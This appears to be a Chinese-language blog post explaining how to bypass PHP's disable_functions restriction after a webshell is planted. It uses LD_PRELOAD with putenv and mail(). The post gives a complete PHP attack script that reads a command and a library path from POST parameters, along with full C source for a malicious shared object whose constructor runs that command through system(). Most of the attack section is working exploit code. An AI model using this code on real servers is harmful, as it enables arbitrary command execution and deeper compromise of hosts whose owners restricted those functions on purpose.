老调重提,谈谈Bypass disable_function

请注意,本文编写于 1840 天前,最后修改于 1640 天前,其中某些信息可能已经过时。

640.png
640.png

当你插入webshell的时候,就会遇上这个问题,php.ini中,把能执行命令的函数(例如system)等,都禁掉了怎么办呢?

这时候,就可以参考之前那个

新坑预定:linux下的进程/文件隐藏

中,使用了LD_PRELOAD 环境变量。这个变量名字在当时说的很清楚了

设置了这个环境变量后,linux会优先加载这个环境变量下的动态链接库程序。

那么理论上,我们只需要找到一个会调用库函数的php内置方法,然后再上传我们的so文件,劫持这个库文件添加到LD_PRELOAD全局变量中,那么系统就会自动帮我们调用我们的so文件达到getshell的效果了。

然而前提是,你的disable_function没有禁putenv这个函数,否则以上都是空话了。

使用例子,putenv+mail函数

<?php
    $cmd = $_POST['cmd'];
    putenv("EVIL_CMDLINE=" . $cmd);
    $so_path = $_POST['so'];
    putenv("LD_PRELOAD=" . $so_path);
    mail("", "", "", "");
    unlink($out_path);
?>

以及对应的so文件:reinstall.rar
代码如下:

#define _GNU_SOURCE

#include <stdlib.h>
#include <stdio.h>
#include <string.h>


extern char** environ;

__attribute__ ((__constructor__)) void preload (void)
{
    // get command line options and arg
    const char* cmdline = getenv("EVIL_CMDLINE");

    // unset environment variable LD_PRELOAD.
    // unsetenv("LD_PRELOAD") no effect on some 
    // distribution (e.g., centos), I need crafty trick.
    int i;
    for (i = 0; environ[i]; ++i) {
            if (strstr(environ[i], "LD_PRELOAD")) {
                    environ[i][0] = '\0';
            }
    }

    // executive command
    system(cmdline);
}

其实知晓原理我们自己编写一份也挺简单的,先找到目标函数,去github/各种地方找到函数的原型,因为这次我们不是要HOOK而是直接getshell,原功能可以废弃,所以可以直接把内部实现方法掏空,替换成我们需要执行命令的代码,只需要请求参数和返回参数相同,不让程序崩溃,那么效果就可以达到了。详情可以参考我上面给出的那个连接

添加新评论

评论列表